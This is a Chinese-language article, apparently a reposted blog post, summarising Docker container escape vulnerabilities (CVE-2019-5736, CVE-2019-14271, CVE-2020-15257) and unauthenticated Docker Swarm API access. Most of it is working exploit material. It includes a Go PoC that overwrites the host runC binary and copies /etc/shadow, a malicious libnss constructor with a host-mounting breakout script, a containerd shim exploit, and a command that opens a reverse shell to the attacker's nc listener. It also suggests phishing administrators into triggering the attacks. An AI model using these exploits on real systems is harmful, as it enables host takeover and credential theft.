干货 | 常见的Docker容器漏洞总结
2022-3-14 09:30:0 Author: mp.weixin.qq.com(查看原文) 阅读量:5 收藏

文章作者 小九

文章来源:war9.cn

Docker-RunC漏洞致容器逃逸(CVE-2019-5736)

利用条件

  • Docker Version < 18.09.2

  • RunC Version <1.0-rc6

  • 攻击者具有容器文件上传权限 & 管理员使用exec访问容器 || 攻击者具有启动容器权限

漏洞原理

攻击者可以将容器中的目标文件替换成指向runC的自己的文件来欺骗runC执行自己。比如目标文件是/bin/bash,将它替换成指定解释器路径为#!/proc/self/exe的可执行脚本,在容器中执行/bin/bash时将执行/proc/self/exe,它指向host上的runC文件。然后攻击者可以继续写入/proc/self/exe试图覆盖host上的runC文件。但是一般来说不会成功,因为内核不允许在执行runC时覆盖它。为了解决这个问题,攻击者可以使用O_PATH标志打开/proc/self/exe的文件描述符,然后通过/proc/self/fd/<nr>使用O_WRONLY标志重新打开文件,并尝试在一个循环中从一个单独的进程写入该文件。当runC退出时覆盖会成功,在此之后,runC可以用来攻击其它容器或host。

漏洞POC

package main
// Implementation of CVE-2019-5736// Created with help from @singe, @_cablethief, and @feexd.// This commit also helped a ton to understand the vuln// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9dimport ( "fmt" "io/ioutil" "os" "strconv" "strings")
// This is the line of shell commands that will execute on the hostvar payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
func main() { // First we overwrite /bin/sh with the /proc/self/exe interpreter path fd, err := os.Create("/bin/sh") if err != nil { fmt.Println(err) return } fmt.Fprintln(fd, "#!/proc/self/exe") err = fd.Close() if err != nil { fmt.Println(err) return } fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit // This will be the process created by runc var found int for found == 0 { pids, err := ioutil.ReadDir("/proc") if err != nil { fmt.Println(err) return } for _, f := range pids { fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") fstring := string(fbytes) if strings.Contains(fstring, "runc") { fmt.Println("[+] Found the PID:", f.Name()) found, err = strconv.Atoi(f.Name()) if err != nil { fmt.Println(err) return } } } }
// We will use the pid to get a file handle for runc on the host. var handleFd = -1 for handleFd == -1 { // Note, you do not need to use the O_PATH flag for the exploit to work. handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777) if int(handle.Fd()) > 0 { handleFd = int(handle.Fd()) } } fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it // It will maintain it's executable flag for { writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700) if int(writeHandle.Fd()) > 0 { fmt.Println("[+] Successfully got write handle", writeHandle) writeHandle.Write([]byte(payload)) return } }}

漏洞利用

#攻击者在容器内执行CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go #编译POCchmod 777 main./main #执行Payload

后续可结合钓鱼邮件等手法,等待运维人员去通过exec访问容器的/bin/bash。使用如下命令:

sudo docker exec -it  cafa20cfb0f9 /bin/sh

ref:

https://github.com/Frichetten/CVE-2019-5736-PoC

https://www.anquanke.com/post/id/170762

Docker-cp漏洞致容器逃逸(CVE-CVE-2019-14271)

利用条件

  • Docker Version == 19.03 && <19.03.1

漏洞原理

Docker采用Golang编写,更具体一些,存在漏洞的Docker版本采用Go v1.11编译。在这个版本中,包含嵌入式C代码(cgo)的某些package会在运行时动态加载共享库。这些package包括netos/userdocker-tar都用到了这两个package,会在运行时动态加载一些libnss_*.so库。正常情况下,程序库会从宿主机的文件系统中加载,然而由于docker-tarchroot到容器中,因此会从容器的文件系统中加载这些库。这意味着docker-tar会加载并执行受容器控制的代码。

漏洞POC

恶意so:libnss_files.so by C

#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void){ char * argv_break[2]; if (!is_priviliged()) return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH); fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork()) {
// Child runs breakout argv_break[0] = strdup("/breakout"); argv_break[1] = NULL; execve("/breakout", argv_break, NULL); } else wait(NULL); // Wait for child
return;}bool is_priviliged(){ FILE * proc_file = fopen("/proc/self/exe", "r"); if (proc_file != NULL) { fclose(proc_file); return false; // can open so /proc exists, not privileged } return true; // we're running in the context of docker-tar}

breakout脚本

#!/bin/bash
umount /host_fs && rm -rf /host_fsmkdir /host_fs

mount -t proc none /proc # mount the host's procfs over /proccd /proc/1/root # chdir to host's rootmount --bind . /host_fs # mount host root at /host_fsecho "Hello from within the container!" > /host_fs/evil

漏洞利用

待完善,暂未复现,大致思路如下

1.编译libnss_files.c为libnss_files.so

2.修改breakout脚本,例如写ssh key 等

3.等待或通过钓鱼邮件等手段,使得运维人员执行docker cp

ref:

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

Docker-Containerd漏洞致容器逃逸(CVE-2020-15257)

利用条件

  • containerd < 1.4.3

  • containerd < 1.3.9

  • 使用hostnetwork网络模式启动容器 && 使用root用户(UID:0)启动容器

漏洞原理

使用hostnetwork网络模式中,容器和主机共享网络命名空间,因此在容器内可以访问host特定的socket文件(shim.sock)。可通过启动一个新的容器,该容器挂在host目录到容器的/host目录,即可实现对host完全的读写。

漏洞POC

package main
import ( "context" "errors" "io/ioutil" "log" "net" "regexp" "strings"
"github.com/containerd/ttrpc" "github.com/gogo/protobuf/types")
func exp(sock string) bool { sock = strings.Replace(sock, "@", "", -1) conn, err := net.Dial("unix", "\x00"+sock) if err != nil { log.Println(err) return false }
client := ttrpc.NewClient(conn) shimClient := NewShimClient(client) ctx := context.Background() info, err := shimClient.ShimInfo(ctx, &types.Empty{}) if err != nil { log.Println("rpc error:", err) return false }
log.Println("shim pid:", info.ShimPid) return true}
func getShimSockets() ([][]byte, error) { re, err := regexp.Compile("@/containerd-shim/.*\\.sock") if err != nil { return nil, err } data, err := ioutil.ReadFile("/proc/net/unix") matches := re.FindAll(data, -1) if matches == nil { return nil, errors.New("Cannot find vulnerable socket") } return matches, nil}
func main() { matchset := make(map[string]bool) socks, err := getShimSockets() if err != nil { log.Fatalln(err) } for _, b := range socks { sockname := string(b) if _, ok := matchset[sockname]; ok { continue } log.Println("try socket:", sockname) matchset[sockname] = true if exp(sockname) { break } }
return}

漏洞利用

1.下载容器渗透工具包

https://github.com/cdk-team/CDK/releases/tag/v1.0.1

2.在服务器NC监听端口

3.

chmod +x cdk_linux_amd64./cdk_linux_amd64 run shim-pwn <自己服务器IP> <NC端口>

ref:

https://www.cdxy.me/?p=837

https://zhuanlan.zhihu.com/p/332334413

Docker-Swarm未授权访问致命令执行

利用条件

  • 使用Docker Swarm并且未对2375端口访问加任何限制访问措施

漏洞原理

在使用Docker Swarm的时候,管理的Docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page not found ,其实这是 Docker Remote API,可以执行Docker命令,比如访问 http://host:2375/containers/json 会返回服务器当前运行的 container列表,和在Docker CLI上执行Docker ps的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成。

漏洞POC

docker -H tcp://x.x.x.x:2375 ps

漏洞利用

可通过挂载host目录,之后使用crontab或者写ssh key来利用。

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